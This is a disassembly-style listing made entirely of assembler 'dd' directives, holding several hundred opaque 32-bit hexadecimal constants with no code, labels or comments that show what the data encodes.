		dd 0E6EE46EAh, 0D398A9h, 4FA377BCh, 5989282Ch, 0D73E5000h
		dd 0F774E50Bh, 30EF1EAEh, 64578076h, 1845A32Dh,	3B00E390h
		dd 1491839Ah, 0F0C4F4h,	986199B3h, 8DF7817Dh, 13C65400h
		dd 952734EDh, 14370028h, 12B2D02Ah, 407FA5FAh, 0FDDDD803h
		dd 808B0225h, 0BF28B1h,	4C79F466h, 0BB9316C8h, 0EC075401h
		dd 0D7CCD250h, 1415F080h, 821FFE19h, 89480D7Ah,	0E7F40042h
		dd 36DB1AD9h, 273700B5h, 10761604h, 6D25A3AAh, 1DC060DEh
		dd 32630053h, 0A2F782F4h, 0A93AFB29h, 802E3AE3h, 0CED6EC3Ah
		dd 0BE1392h, 0A03CEDFFh, 0C794EF43h, 24406701h,	0EF20AF5h
		dd 0A172B840h, 0CE77B0h, 4E0481E5h, 0EBFF023Ah,	49823200h
		dd 0CA0F93FCh, 0AB480086h, 983BE2BFh, 0AA00A253h, 4552F491h
		dd 3FCBB80h, 11CDF58Ah,	90B03997h, 0D9001EB9h, 0D5573014h
		dd 48D010E7h, 8D113465h, 921214C2h, 6DAF80C0h, 0C0874962h
		dd 300BBF98h, 0C3010EE5h, 0CD1E0F31h, 46FC08C1h, 664500E2h
		dd 41F5A22Dh, 1B3F5A1Dh, 0BDAA8051h, 0DC0025Fh,	0B33F123Ch
		dd 0B6740084h, 5E06656Dh, 8054183Eh, 63BC4305h,	721ADFCh
		dd 3F076AC6h, 0AD461D2h, 0B46C24C7h, 188EE708h,	0BEF58922h
		dd 0AE05D0A0h, 9700382Bh, 4A4CE16h, 0AC491Dh, 0DC0C9180h
		dd 0F66A4039h, 84792407h, 0C8A05888h, 71B06D9Ah, 13E0F05Fh
		dd 4BC432h, 0E9F85978h,	4100210Eh, 6A3CF230h, 306CCC6Dh
		dd 84C05060h, 92008C5Dh, 0E1ED07D3h, 0FE6182h, 159B643Eh
		dd 54664E93h, 8489C09h,	0A7E20037h, 0DAC4C0h, 94818DDEh
		dd 0B7425874h, 0C77CBEECh, 0CD839h, 7D90642Fh, 7A702Ch
		dd 174D5603h, 0F4BBC2B0h, 0A18F1C00h, 0A60C1AF3h, 0C7181623h
		dd 4FC51EF1h, 0D0C08EB7h, 8D96859Ah, 4F4C7800h,	6022D10Fh
		dd 6B51002Eh, 0F50D3869h, 7F60E775h, 456A6120h,	8F0A00E8h
		dd 432E7959h, 20EE0E8Dh, 0FEAEF803h, 8803E414h,	19F481Bh
		dd 2857B179h, 20FD4C27h, 3E02A960h, 7F258CD6h, 12C04031h
		dd 2937B38h, 0B1AC096Bh, 9448A66Fh, 5B009807h, 0B738C36h
		dd 6439AAh, 5F2FE9D5h, 7B99473Bh, 1B6F1517h, 20F82905h
		dd 987DF6C1h, 1FAF1C20h, 80AD1972h, 0A2575D8Eh,	0F00111A8h
		dd 9F6FE33Dh, 0B3C99B9Ah, 344AD880h, 0DDD94709h, 0F824FC07h
		dd 0A3051C0h, 1DC10777h, 41087687h, 0C875FB41h,	0D625DC61h
		dd 8445DC24h, 87EEC189h, 1550B241h, 132B6205h, 2038CBDFh
		dd 221EC88Ch, 902CC624h, 0A2D86380h, 7EE660Bh, 49DBFEEAh
		dd 83BE8FF2h, 0E01AA117h, 835C281Fh, 309762C0h,	7866B6Ah
		dd 0CA4C5892h, 0F087E7BFh, 7AE3FC28h, 0E946CB06h, 75387988h
		dd 0DDC61643h, 9DC44A78h, 0F71800ACh, 899FBC99h, 523CE5F8h
		dd 0EAB3801Fh, 0D2874F95h, 0FC9E855h, 7F475E91h, 4B00EB69h
		dd 0A8E46C17h, 25603A07h, 0A480C4D8h, 1CB67Dh, 7A664CCFh
		dd 0AC8AFAEh, 6F581303h, 9568F647h, 0DFE1B000h,	0D87660h
		dd 2966E4BEh, 0C1F95422h, 28D49609h, 5BC984FDh,	994A1C80h
		dd 0C2DD0373h, 0DE882640h, 920139A6h, 1A67B785h, 0F3DF56h
		dd 15429D31h, 73B42C0Fh, 0D70001F6h, 7C8D4671h,	6FBAF1h
		dd 0A0CF09EEh, 76BEE625h, 876E2F00h, 7E33675Fh,	3172009Ch
		dd 6A1FC964h, 0FD006C92h, 3C2B82F6h, 0F199Bh, 4CBD65E5h
		dd 0A3DDA142h, 0E3642400h, 0DAD0DE0Bh, 70ED0003h, 1AB7AD33h
		dd 40015D7h, 7936C491h,	0FB2328h, 2D330AD6h, 0DF3272A0h
		dd 55EAFE01h, 5E3DB7A6h, 2B5070h, 48591F86h, 0A11A9C2h
		dd 499A1B00h, 2DF7E6CDh, 7BFA1730h, 6016E2h, 39327F84h
		dd 0D414A63Eh, 0B05DE4h, 2A65AF0Dh, 489FB203h, 5880E4D3h
		dd 0B6420AC1h, 0DE9938h, 0FBC3A538h, 4A6C4Fh, 26F2C510h
		dd 0CB498102h, 0EC7093EDh, 3BC0921Dh, 10CAD9F0h, 0A7A102C8h
		dd 8F04EB76h, 5787CCD6h, 93304CEDh, 0F69DE146h,	60765C66h
		dd 40AF181Dh, 0C8FF79A9h, 782C5C4Ch, 0DC00E3A4h, 36AB1504h
		dd 2217CDAh, 0C1DFBD94h, 40FF10C8h, 4D4EF8Ah, 3E198E4Ch
		dd 0B418E499h, 9A1101Ch, 3945003h, 0A188A308h, 0BC297D54h
		dd 468A6912h, 290809C8h, 0A04FF003h, 0E77BD606h, 4CF1887h
		dd 491B1586h, 1D0554C0h, 0FAF3C601h, 0C1177A28h, 39B8E1E8h
		dd 0BE00BC45h, 1DA693DBh, 1FF47C34h, 7CF1E84Bh,	0D103E42Dh
		dd 8E7FA9FEh, 0CA12DCB8h, 2F437300h, 6C45ACE8h,	0A13D3089h
		dd 7CD3BA9h, 4869F32Eh,	98917A0Eh, 7FE140h, 5742622Eh
		dd 0EA48633h, 0F5133F00h, 0A271583Bh, 7B4A0055h, 797AF91Dh
		dd 0CE03CF98h, 5B72DA9Ah, 0B51FD0A8h, 9F6B0097h, 2F98A1E1h
		dd 270F9E13h, 20E35B15h, 0BE2E7D0Dh, 0A7EC0036h, 3D0A3797h
		dd 0AB4C3AD5h, 5200701Bh, 2DB278DFh, 0FA43C771h, 6079026Bh
		dd 4C30E32Fh, 2788F0E0h, 0E0A50800h, 0D367B4F6h, 25830045h
		dd 6F3D2FF2h, 0D604AFA0h, 211AD4C9h, 76FE9480h,	5AEF126Bh
		dd 96ECAC1Fh, 0D400F4A2h, 8074B145h, 0E1016009h, 8FD72E0Dh
		dd 0E9DF4E48h, 0A44152C7h, 1838A5A4h, 0DBCFD53Ah, 9FEF81ECh
		dd 4AFD16A4h, 0A104882Bh, 2D6BCBEh, 95334CD8h, 2F578303h
		dd 0A482801Ch, 254639F5h, 0D079E77Fh, 75186779h, 0DF2F410Eh
		dd 0A32BE0ECh, 9F82CD8Bh, 0FDB22800h, 0F10AD97Ah, 84A60D89h
		dd 0E4B8C525h, 0A06E631Ch, 181A85FDh, 5890C5F6h, 289EBE71h
		dd 21187D9Eh, 1322F511h, 8E715193h, 33F984CCh, 0B4F95B33h
		dd 20207B5Eh, 7C81A893h, 0EEBE0175h, 3BB3B143h,	0E46E7EA2h
		dd 0D04ED202h, 0F8A0CD10h, 0F4F12387h, 3125CA2Ch, 63B78B07h
		dd 0FB906060h, 46880045h, 0EC8EABD9h, 0F3046E75h, 9D9BE686h
		dd 8285BBEh, 0A2F482B4h
		dd 7FD66874h, 23E402EBh, 0E8C5AD5Ch, 2A7B0261h,	0D023402Fh
		dd 0F220D500h, 0E1C8E172h, 2EE0446Bh, 801C9569h, 0C7900E8Fh
		dd 389D1700h, 0A5209B8Eh, 0B55F04BBh, 0AEB83D6Eh, 8039407Fh
		dd 2140E301h, 2B6E2983h, 2F2E349Dh, 3BFA235Ch, 39725909h
		dd 0E425805Eh, 979F00B4h, 0F24D1C1Eh, 0B4249E94h, 4C28B3BAh
		dd 662F3003h, 785819AFh, 9AFD00D0h, 6D7E0D91h, 8C9E9B07h
		dd 0D2E50E04h, 25A598F0h, 5C71015Ch, 51FC62h, 0D0F1725Bh
		dd 3F9044A6h, 0E0D6D200h, 5969F219h, 22A60263h,	0C4B5A9BEh
		dd 0F259ECD4h, 0C2CD3610h, 437E94A0h, 6FF58413h, 0D8C950E5h
		dd 0E3CC136Ah, 3063B294h, 7E2D7499h, 0BA94E05Bh, 1C08912Bh
		dd 7737C09Bh, 519EC0B7h, 34C1CB03h, 0C0814121h,	134362A6h
		dd 2569259Ch, 3F8A8A8h,	8A871377h, 0FF990B86h, 4029C6FAh
		dd 927C0C50h, 7690E783h, 5EA34C0h, 64DE5B75h, 5BB8F1B4h
		dd 0E96FC230h, 8CE16001h, 80464ACDh, 8AC99A98h,	81102B05h
		dd 28AC790Dh, 2E8C60F8h, 237C5D1h, 32A54A87h, 5B161CD8h
		dd 9CB0FD8Ah, 0D4115B5Fh, 7C3C22D0h, 80F929h, 768DE66Dh
		dd 4D011E03h, 8ECBF2CEh, 0A2E3EEDh, 0A7F84994h,	176404C7h
		dd 0F6C3B360h, 0FFA51213h, 0AF4CCB5h, 2B3D8030h, 0B5063100h
		dd 3AF58156h, 8218C02Fh, 0C5145D12h, 11CAA9C0h,	31576E7h
		dd 46EB9007h, 41C5999Ch, 65439DFCh, 0DC4B6A38h,	0F11471D7h
		dd 17051858h, 2C67B6Ch,	928EECFh, 37694CFCh, 0BBD58E10h
		dd 0B05AFD09h, 0F31C1095h, 0E3BC00CEh, 0A6757B26h, 0DA01572Ah
		dd 3320E974h, 15E86049h, 9312095Fh, 0B4786575h,	8FEC8B3Ah
		dd 2B46970Ch, 0D1D41A0Fh, 18675994h, 3AF5FEC5h,	83823ED4h
		dd 20ABDE2Bh, 92074452h, 0FD98BA16h, 0C49AA600h, 0FC574D2Eh
		dd 66A8A04Fh, 467420BCh, 0B65900F2h, 17F8A860h,	1E091339h
		dd 0F23CB22Dh, 70283102h, 0B2F2AC5Dh, 0C90F0E02h, 5D9D7A7Eh
		dd 2E102482h, 2CB755h, 7FEFBB2Bh, 4D90C251h, 5E99C800h
		dd 0AAB393C6h, 89F613BAh, 0A078E233h, 74C23CEAh, 7E5E1228h
		dd 0D4BB0004h, 0A5F634C7h, 0FD92D100h, 0CDF01168h, 3F17807h
		dd 0D604E80Fh, 300082B3h, 2B5C9EBBh, 19480524h,	9FDD00Ah
		dd 0BE218391h, 0F9872B54h, 23F3F5C1h, 5901DD40h, 5005212Bh
		dd 0BD889518h, 0BD4B851h, 0A8B6B77Dh, 0BC17DD83h, 9124B000h
		dd 28F0CDEh, 607300A3h,	2DEA5635h, 3F053C4Eh, 5E83B3BAh
		dd 6A5F83C0h, 668B18E6h, 247E5807h, 0D5FADE00h,	826FB189h
		dd 1809CC81h, 0D61F4421h, 0FF009FFAh, 653141FCh, 0DCAA07C4h
		dd 52F5CFh, 0E05C6DDh, 0AF5431CFh, 0BD13E71Eh, 0F8C109C6h
		dd 7DE7E5Ah, 0FDE7289Ah, 20A84A10h, 2E14684h, 5152B5Dh
		dd 10973170h, 2B55C1h, 0C0D5FEE7h, 0C4300EB4h, 6802C628h
		dd 0C3936600h, 0BC70BD08h, 0E7060684h, 701A44DDh, 9244BC87h
		dd 0B507D360h, 50611431h, 1088BC36h, 50017134h,	0EF818B2Ch
		dd 95048081h, 0BE3048F5h, 0FFC30E70h, 6F13C2B0h, 0B43048CCh
		dd 9261C08Ah, 43053029h, 0DAAEBA00h, 781B8DDFh,	6B133BDDh
		dd 31288032h, 0CF4EAC83h, 0D65B4107h, 0AA9C5C7h, 5F64605Ch
		dd 0C7CE7B40h, 8B0E1C85h, 801954BBh, 7E3245B6h,	424A455h
		dd 54C8C7D9h, 226062EAh, 4FE0D190h, 6553833h, 88204EB0h
		dd 0C3EC019h, 0D173E7B6h, 0C48DA090h, 0FA1F62E4h, 0B4032D40h
		dd 98286681h, 9AFFA0CEh, 642CA5E7h, 5D3B6194h, 0A3B2DCh
		dd 215781E3h, 0C6F55CADh, 6E5984A9h, 23B64CC0h,	0A5F643h
		dd 19294613h, 0CB5E2FE8h, 0ED730618h, 92EEB9F0h, 0BC740604h
		dd 11EAECCDh, 3F250600h, 0A2889559h, 906D3208h,	0E4480308h
		dd 3F008CADh, 0A1FFC0EEh, 12889950h, 442C8782h,	800C38h
		dd 868EA4A3h, 3442F9BFh, 3F2430CEh, 90955C11h, 0A6811A88h
		dd 0BAD93F8Bh, 902A55C0h, 14662A54h, 39D11ED8h,	0D2DDC0D3h
		dd 0CE6107B9h, 0A4734002h, 638C475Ch, 8955A124h, 1D9BE5ECh
		dd 82BDF006h, 41501708h, 13DEACA1h, 1871BC97h, 7C1989B3h
		dd 0ED80125h, 84D78321h, 0AF1BDCB4h, 0A4F13E0Fh, 0CD5E4157h
		dd 6E014B6h, 388448CEh,	78C16E8h, 0D156CF84h, 0CDEC2319h
		dd 94845FC2h, 3F1660D4h, 4095215Eh, 3F1DB0C1h, 7800C0C2h
		dd 0C7A78001h, 9BF7162Ch, 28D3BA0Ch, 0C54E3517h, 236C3AE1h
		dd 6E80099h, 0DC90A45Fh, 8968C93Fh, 19AFE971h, 1718D324h
		dd 95633F08h, 401FC438h, 613F1EAFh, 4625094Ah, 0FC1D2D8Fh
		dd 429C6311h, 3070CF59h, 466DF4C0h, 2407253Eh, 0C3004092h
		dd 190113FBh, 0B8D4A310h, 0A1F69ECCh, 0D7185738h, 54C2C708h
		dd 4062C4DAh, 0C9C7CF7Ah, 2D2B0177h, 1037425Eh,	0CBE0DADFh
		dd 0DC7264F4h, 0E145930Ah, 173EC431h, 0FB0E30F2h, 393CE126h
		dd 88921195h, 8CC05FD4h, 74616A71h, 341191Bh, 0DD709820h
		dd 525C90A1h, 64B25431h, 2641E830h, 7CC5C5Ah, 0EC9D283Ch
		dd 9844058h, 54957EC4h,	0FF1754A0h, 9CA2946Ch, 18DB5041h
		dd 172B095Fh, 101C6005h, 7457BF2Eh, 0C8B16800h,	13A55A8h
		dd 87207D8Ah, 82B25D28h, 888BBB70h, 0C61048A7h,	9077BB7h
		dd 2FDB4CCh, 18DF4C11h,	1B2B0463h, 32118005h, 5BC32096h
		dd 0DD0E652Bh, 0A905CB3Ah, 8B02013h, 0E082150Fh, 97DF1E54h
		dd 0E49BC079h, 9C22599h, 0DD94E305h, 0D41F0C10h, 0D02EFB05h
		dd 1981C84Bh, 0DC185668h, 54293890h, 25CBBCF2h,	0FC8C44C8h
		dd 730326AAh, 1A465EB0h, 0D8B54403h, 0A100149Ch, 1945FA8Fh
		dd 9AD14A81h, 11D4638h,	89DBFAC8h, 1D0C7081h, 0E04688h
		dd 0CD476AFAh, 898C542Bh, 8E0A8DF6h, 0A87D3D16h, 8297718Bh
		dd 617F9D98h, 88109010h, 0F8901EF2h, 13CFAB03h,	0D007CDA3h
		dd 2E9B8A7Ah, 8A86A38h,	0B308DD1Bh, 3BB98092h, 36AE2A0Ch
		dd 4FCDD900h, 73169301h, 0DE871DC7h, 961EF3h, 4AC85CD8h
		dd 0C05403E2h, 5235E694h, 88036831h, 486D9568h,	8117DC19h
		dd 0F0F10155h, 0C8B603E0h, 0DD123446h, 0EC08318Fh, 0C7DBC05Bh
		dd 0FA4654C6h, 8E125722h, 1D00C7D3h, 41766AFCh,	26500B85h
		dd 289007CBh, 0F1247089h, 0C6006497h, 0B958F63Bh, 20A4BA67h
		dd 0E23A12BCh, 4E605193h, 0C05E88DCh, 4DF22083h, 8453171Ah
		dd 281CC0F1h, 5E9B0362h, 0F93954DCh, 108C18EDh,	0C832FF15h
		dd 305170F1h, 0C412C7D5h, 5838CA54h, 0C0CD507Ch, 0BD0C3D7Ah
		dd 13715882h, 0D223BC70h, 0E96AC13Eh, 165A1024h, 1B3E531h
		dd 0A288D54h, 235032CCh, 0C7D80152h, 73D254C3h,	0D07980FCh
		dd 2F647C7h, 5C4A66E8h,	0B4A90536h, 2B80A4B7h, 95174D7h
		dd 0FA0993Dh, 8FC1C44Eh, 0D08E6FC9h, 0C688046Ah, 0ED440734h
		dd 0C68945B5h, 3A17E1ECh, 9047BCFFh, 3ED5C702h,	6B47A482h
		dd 5ED3E008h, 0C0D812BDh, 0C80CCE18h, 9B5CC099h, 0DD02FCB6h
		dd 0B74C9A3Fh, 858C7h, 6CF4CAAAh, 32E60374h, 58E4ACA5h
		dd 1A134067h, 0A09A914Bh, 75C1F00h, 94F592C1h, 7FB8C127h
		dd 30D024B5h, 7EE8F3FCh, 18CBA1D2h, 0DFCE97C8h,	0ED32EF40h
		dd 0B2450D6h, 135931C7h, 18208C91h, 0D8FA04C9h,	32707989h
		dd 9E802915h, 988337FAh, 0B1E54D34h, 9A880CCEh,	41606EC0h
		dd 0D380139h, 0CE2DB706h, 82287054h, 0E858285Ch, 0FC4C8C1Ah
		dd 858B0CE8h, 944E190Bh, 0A54C83C0h, 1CA058D9h,	0BA00F9C5h
		dd 0B785C094h, 0C314E972h, 8C58BB31h, 0E598F4E8h, 25662648h
		dd 11C41DE8h, 2540801Eh
		dd 0A65A55Dh, 2EC9010Bh, 85090098h, 688AE07h, 0C0D158C8h
		dd 955D3F19h, 0B1802843h, 31123F20h, 51F53401h,	0EC80FC6Bh
		dd 0A54D6040h, 0DFE801F1h, 97BB2090h, 7F832B1h,	635E968Dh
		dd 0A31FE06Fh, 4C7231h,	0A1B41B9Dh, 2DA20245h, 0EC30CEEEh
		dd 0BEDA511Dh, 86790068h, 5D42B64Fh, 0F5079AFDh, 0D6F8D7D0h
		dd 0B040D255h, 68752529h, 7C9500ADh, 661B139Eh,	3D153727h
		dd 24ECC763h, 762D817h,	80D889F1h, 1951E5A0h, 0CE182295h
		dd 0B8B03149h, 910D0E9Ch, 0C50055ADh, 72A4DAAh,	0D3F0B512h
		dd 2DC6A800h, 650C1FDh,	0C4850548h, 189418B9h, 0F8FA9D1Ch
		dd 802CE948h, 108009CBh, 0B08A00EEh, 762AE414h,	0AA002FC8h
		dd 439E0C1Ah, 16888DFAh, 409115Dh, 92100340h, 0E45AE998h
		dd 97D58A00h, 0B8C09E7h, 0CB5A3A03h, 34131450h,	0C1C9CE6Bh
		dd 290E7120h, 8B151034h, 0F125743Eh, 85E99404h,	62705D8Fh
		dd 9BFD1826h, 2C12AD12h, 1EC8548Bh, 0BD3243C0h,	93230471h
		dd 0A10B3CFDh, 70A0E894h, 2C5694A1h, 1DA8458h, 1CBD0701h
		dd 93209769h, 390EAE0Ch, 61ED60E7h, 21E94D95h, 0DF8718C0h
		dd 92455116h, 893B0404h, 0A0D407A4h, 9426248h, 94A7DA22h
		dd 2D601F44h, 62026FD2h, 72EE38Fh, 40B460FAh, 0C5658013h
		dd 886CED58h, 0FAA1CF8Ch, 0ED989D4h, 0FADD4100h, 47922871h
		dd 0B51D3112h, 70CB1C05h, 9FBC600Bh, 80589134h,	6D33AAD3h
		dd 41781F5Ch, 8AEDC512h, 9310A48Ch, 2CE0F510h, 5681E400h
		dd 0C9E9430Fh, 0A0E721DFh, 0E1B21CC0h, 4FCB0098h, 0E07766FCh
		dd 0F0006575h, 0E3434B5Fh, 56C27D8h, 16693947h,	0BB6432CEh
		dd 64B8E51Ah, 8AD66062h, 0F96800E7h, 95234781h,	769C0FDh
		dd 0F1D406B8h, 0F6D00461h, 949901CEh, 882CCF20h, 0B3C0CE94h
		dd 7B6F6D3Bh, 70E5FE3Eh, 0FA9EF304h, 6C83303Ch,	0E4008C14h
		dd 0DC8C4290h, 7302F0B2h, 2C6F1C7h, 0FF4A058h, 9099DD29h
		dd 60289CC0h, 8F344E81h, 8C4C0FF8h, 0F73160EFh,	23FC617h
		dd 4E296ABh, 78510A08h,	51185879h, 0AE960700h, 0E84BFB0Eh
		dd 8B3E385Dh, 178428CCh, 1A0CB251h, 8261BDE9h, 427BC0Ch
		dd 6010C22Eh, 0EA8CF20h, 5C01004Fh, 0BEA45E2Fh,	5F007422h
		dd 9309F0FBh, 0CBD487Fh, 1EDD3152h, 50285EE8h, 0E046C42Ch
		dd 162B0B7Ch, 34C57805h, 2B56C481h, 1AFC63B7h, 0E8821349h
		dd 0C820CB7Ch, 0CB68C05Fh, 234CDC34h, 39728190h, 8F0110F9h
		dd 0A2C4732Ah, 0F0913162h, 2E09B585h, 18B1B34Ah, 1AF3398h
		dd 453FF4A1h, 870D93BCh, 367D837Ah, 6D5CE4F0h, 2E150163h
		dd 8A82D6FDh, 7EC878DCh, 6460D6A2h, 82209Dh, 66D38CB4h
		dd 272E2E28h, 0A2580960h, 6CC010CDh, 717647C2h,	0BD2F051Eh
		dd 0E2E6D49Ch, 17873D84h, 589C65B0h, 80C4BC66h,	23E97612h
		dd 227B2889h, 2A5CC900h, 5DF88C19h, 0C88B0281h,	12E92D8Ah
		dd 852F6068h, 0D728900h, 0FBD65874h, 5CC490C7h,	8A08B436h
		dd 6D00BBEFh, 28B98613h, 7464045Bh, 0B2F0B101h,	321CF218h
		dd 3FF0BF00h, 936213DAh, 0F077E689h, 7FF72068h,	10EC8958h
		dd 0A951BAA8h, 0D9731442h, 181E7164h, 73650036h, 0FD92DF62h
		dd 0AC99250Ch, 91D5FF00h, 4C5D4109h, 12504A7h, 513CFCA7h
		dd 20C8D53Ah, 630B3944h, 0C620FFh, 40C43FE8h, 31F126ECh
		dd 5D465E00h, 2FD4DF03h, 928BA109h, 732D780Ah, 465C70E2h
		dd 731E0A20h, 20389839h, 0A3B3045Ch, 98DC04E7h,	2B095AECh
		dd 65580522h, 52C08028h, 5847BC2Bh, 7E68AF00h, 31D1E429h
		dd 890940A1h, 8D958819h, 0E03323B0h, 263095A2h,	0B41D01B3h
		dd 4089D2E8h, 72BC50BDh, 6E171356h, 68CE7CF7h, 0A2C058C8h
		dd 0F89DCDh, 0E0DD0372h, 8FE4404Dh, 1AE4FC58h, 0DBC81CC1h
		dd 80D011C0h, 955A3F22h, 21448C20h, 3F8905ACh, 81EAE9Dh
		dd 0C78558B8h, 64CE3D3Ah, 0AAC703C8h, 0DAAB5280h, 5F4D000Ah
		dd 0E2A56664h, 193A578Fh, 514012DEh, 31BC1480h,	17049E95h
		dd 0DF49161h, 3880FBDh,	0C328D8C0h, 4C9F855h, 92664279h
		dd 88208EA1h, 3B4EC093h, 39ECAB5Eh, 0A8EEA130h,	0B8D02CF6h
		dd 79376EF8h, 0E6589FEh, 236C6482h, 0F48D7D01h,	0C325D828h
		dd 64911097h, 85CD1280h, 0A93CA198h, 177325AAh,	83211194h
		dd 0CAB86A7Ah, 2E14F238h, 7EF88970h, 0D8016246h, 790D340Ah
		dd 0F546F8E3h, 0F8BC935Dh, 802939F6h, 89409A00h, 34DD9537h
		dd 0C40701E9h, 0D8B87C6Dh, 70F9213h, 0C0CFB448h, 955F3F23h
		dd 9221846h, 3F8AAB00h,	9BD8ADC9h, 0E18500BAh, 0C7085B30h
		dd 2E1DF233h, 0A0F0BD4Dh, 24B85577h, 86CCE3Fh, 151A9F35h
		dd 580C73B9h, 55591712h, 8BBB021Ch, 0F139E7C3h,	2280C4F8h
		dd 0D9EDE201h, 0E4E569F8h, 0BC616064h, 2E286057h, 8FB5F113h
		dd 50C418BBh, 44A034B6h, 0B9CF6C13h, 0C91482E6h, 59887203h
		dd 0C483A489h, 0E1D2D7FAh, 42102031h, 2900FADCh, 988C0C8Ah
		dd 510AE49Ch, 0AFEDA84Eh, 0D0674B02h, 31609344h, 0E053C35h
		dd 7993955h, 0C01E5008h, 89DAFAC7h, 91706921h, 0DF4B001Bh
		dd 2F10EAFAh, 78B7ACFh,	18E7FBE3h, 0F107704Dh, 2C9C1BDCh
		dd 204ED010h, 0D5AD0B34h, 9394B200h, 745D919Ah,	0B92C0984h
		dd 709D5EDDh, 0CA00C63Eh, 0DF1344AFh, 8B060EEh,	0FB51FD2Ch
		dd 0E9E4042Dh, 0B588F4h, 0F92DE0BAh, 94074D34h,	9D06F601h
		dd 977164Eh, 3A21863h, 1D18C032h, 0A4291CBEh, 48812562h
		dd 3944B580h, 0CCFD08ACh, 0D1651324h, 0E4C67D1Ch, 0B7010242h
		dd 0F18A1D19h, 0EC68E04Eh, 3A8C19BCh, 0AB00A6CFh, 0BF4D7D4h
		dd 0E6130373h, 50CD3D47h, 0A201028h, 0E05FEF4Bh, 0E9016C04h
		dd 527494ACh, 2E009819h, 0E6F446B9h, 2A1CDE1Ch,	99D68BC3h
		dd 0E0B920C4h, 0E92838E8h, 5316A434h, 281CB051h, 31980C58h
		dd 9CF95D99h, 19015409h, 0DD94B020h, 1328D08Bh,	210504BDh
		dd 15DE5AD6h, 0F807E4E0h, 0C8F53094h, 47F6B0D9h, 55B2B500h
		dd 0A6D90E9Ch, 0B694FD1h, 4429C728h, 0F96A6CECh, 0D08F419h
		dd 148008Ch, 84D1F60Ah,	0AD32C305h, 0E0A16D34h,	2088A04Eh
		dd 0DDA738C0h, 61FE0647h, 70A4845Fh, 9D9920h, 0C1D43B8Bh
		dd 0F1899511h, 85056F02h, 0D0846734h, 5E28B610h, 2009446h
		dd 0E6D625Eh, 1C75607Eh, 308EE84Bh, 13C00388h, 0F46E375h
		dd 4BE1CC8Dh, 0AAD5A0E3h, 0FD2DC000h, 9120BDEh,	0E120169Dh
		dd 886C8E84h, 644DC002h, 6C012396h, 0EB8579A6h,	60769FE6h
		dd 382A4CF0h, 92B6AC3Dh, 30F7175Dh, 0BA7C71A0h,	7D4B3C39h
		dd 0E916EFF8h, 0EC8BCECAh, 92AC2110h, 0A5A0D4E6h, 242DFD94h
		dd 44E83607h, 1797E8BCh, 89921130h, 0F0591Bh, 986BCFE3h
		dd 717349FCh, 0CB033100h, 757D549Ch, 449D1807h,	45958055h
		dd 0B915192Dh, 43DF518h, 1BD1E20Fh, 84C349A0h, 8A00729Bh
		dd 0F1EE7BB4h, 2764FABh, 0A3134EF6h, 10E2858Eh,	4676785Ch
		dd 0D020105h, 92247BA4h, 4C150060h, 870568B2h, 0B26C3028h
		dd 3902304Ch, 9C58FD95h, 62651CB4h, 4740A096h, 4C89FAh
		dd 6538A854h, 0CBC8760Eh, 4650706Bh, 20AC9014h,	0E922089Dh
		dd 20FC90ADh, 43091E70h, 4A5D185h, 10ECE604h, 0B8C1AF8h
		dd 865216D2h, 89888892h, 0AA90B38h, 1CB3C04h, 1D54D599h
		dd 0D10C80A9h, 441895h,	146C2CB5h, 9E6D661Fh, 5A9C123Ch
		dd 2070D026h, 0D0126828h, 0A8085747h, 0FAC3C08Ah, 0C94689D6h
		dd 47031B22h, 7817FADBh
		dd 0BDADD0E3h, 505D6E64h, 13821000h, 0A894766Ah, 50647B49h
		dd 0DD023779h, 19517BBCh, 9040D005h, 9EA92058h,	0D95C3C00h
		dd 54E7F9DAh, 413A6017h, 0A0805BBh, 0E975530Dh,	0F0307968h
		dd 74309C2Dh, 0F05E18FBh, 1F01022Eh, 7463A0EFh,	8F40347Ch
		dd 7F47B393h, 7B5F00F9h, 6DB6BEFh, 0E802ADAFh, 1539C77Ch
		dd 136C40B7h, 37A42440h, 2CC34328h, 0FA05662h, 0E49065E8h
		dd 767D609Ah, 53CE2C1h,	0A2E2D12Eh, 0F9DF008Eh,	0F5D00865h
		dd 420F9B2Dh, 4454C724h, 2F066018h, 0E3DF055Eh,	0C38CE58Fh
		dd 8AC1E7D8h, 0D0A44893h, 46755227h, 44FC87A8h,	0D2E7605Dh
		dd 9364099Ah, 0E0504CF5h, 2766DD04h, 81C92Dh, 60AB9811h
		dd 69B4782Ch, 8D4BE7FAh, 0F1B9082h, 0C11DED67h,	0F9BD209Eh
		dd 10096A63h, 489450BBh, 842DFBC9h, 1065AC89h, 1C6063C4h
		dd 7503C456h, 0FB3BCB71h, 878BC8A9h, 2CB94DB8h,	23F02E4Ah
		dd 1ED0105h, 0EE644F84h, 0DCB9C8D0h, 0C49A6A00h, 190E4A5h
		dd 70ACF609h, 82BA6C13h, 5EDC8A21h, 9E345224h, 63465E9Ch
		dd 5F01AC3Fh, 5C6F159h,	0EC1C242Eh, 0D1A91C60h,	4A2F88h
		dd 0E73148DFh, 18204BCCh, 25381101h, 8FB51E73h,	0ED6824h
		dd 74544664h, 85F516C7h, 0F94BA600h, 0FECA99FBh, 0C83F1CC4h
		dd 30E9D452h, 0D674900h, 0C7AED4DFh, 9CC6773Ch,	8A824E48h
		dd 483326FDh, 27DD9584h, 70681AACh, 3117474Bh, 1C921B05h
		dd 0A2C26039h, 5C7E2F0Dh, 0A731EC0Ch, 5416DC0Bh, 35D825D3h
		dd 2C6C40F5h, 58C1CBCh,	0A4F97D0h, 314A823h, 4E16D9B7h
		dd 0D0615CA3h, 18C96BCh, 0CE43DC4Fh, 8009656Ah,	28BC671h
		dd 145CFD92h, 84233351h, 0C879C041h, 74684424h,	24006146h
		dd 84BC8C3Dh, 0E92A57DDh, 7101C816h, 0F72F5F43h, 76FC1837h
		dd 4C5A0011h, 8F1E7FA4h, 24B5BEFDh, 0F253233Ch,	0AA920064h
		dd 83CDEA1h, 35EC0167h,	0EF8460BAh, 8F36D4C6h, 88E12813h
		dd 957B50C0h, 845B3CFCh, 5E8EC4Ch, 4C60018Ch, 13E3FCCBh
		dd 0C21620C7h, 465E389Eh, 52B0005Eh, 4F16AE70h,	66CA190h
		dd 0D6D37C10h, 13529502h, 58051155h, 0B36318DCh, 1BB580FAh
		dd 0A96F890Bh, 0C614A77Fh, 3E481637h, 0A4A1708Ch, 494B4F8h
		dd 607C8B9Ch, 669828F1h, 531B1871h, 8219303Eh, 8F988182h
		dd 6B3E3245h, 240A00E0h, 0F6016B6Dh, 4C02C53Ah,	8DA8C2B9h
		dd 0C009B458h, 0DBBBC6D2h, 52F1707Ch, 0E82F3E4Ah, 0A8011523h
		dd 76F716CEh, 88CD3870h, 0FB12FD2Dh, 0BC8E5BE8h, 0A0C35115h
